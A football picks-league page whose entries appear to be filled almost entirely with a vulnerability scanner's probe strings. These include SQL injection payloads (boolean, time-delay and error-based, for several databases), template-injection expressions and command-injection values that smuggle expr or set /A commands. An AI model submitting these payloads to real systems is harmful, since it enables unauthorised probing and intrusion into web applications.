Picks League

5 - Cowboys: Cowboys from e-mail

4 - Chiefs:

3 - Vikings:

2 - 49ers:

1 - Chargers:

123456

123456

123456

123456

123456

123456

${@var_dump(md5(457137645))};

123456

123456

'-var_dump(md5(557183083))-'

123456/**/and+1=1

123456

123456 expr 975311666 + 928383375

123456/**/and+1=6

123456

123456|expr 965971655 + 958480472

123456'and's'='s

${994678231+868665140}

123456$(expr 845717655 + 806557341)

123456'and'v'='z

123456&set /A 881885504+827829882

123456"and"v"="v

/*1*/{{872480694+827495991}}

expr 964544149 + 998093882

123456"and"s"="m

${932730461+837031858}

123456

${(848804803+958966425)?c}

123456

123456'and/**/extractvalue(1,concat(char(126),md5(1046765234)))and'

#set($c=897856153+913654629)${c}$c

123456

123456"and/**/extractvalue(1,concat(char(126),md5(1565158355)))and"

<%- 946494687+904447161 %>

(select*from(select+sleep(0)union/**/select+1)a)

extractvalue(1,concat(char(126),md5(1059509098)))

(select*from(select+sleep(2)union/**/select+1)a)

123456'and(select'1'from/**/cast(md5(1744518031)as/**/int))>'0

123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

123456/**/and/**/cast(md5('1952503829')as/**/int)>0

123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1153540224')))

123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1158125429')))>'0

123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

123456鎈'"\(

123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

123456'"\(

123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

123456'and(select+1)>0waitfor/**/delay'0:0:0

123456'and(select+1)>0waitfor/**/delay'0:0:2

123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('h',0)

123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('b',2)

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('s',0)='s

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('b',2)='b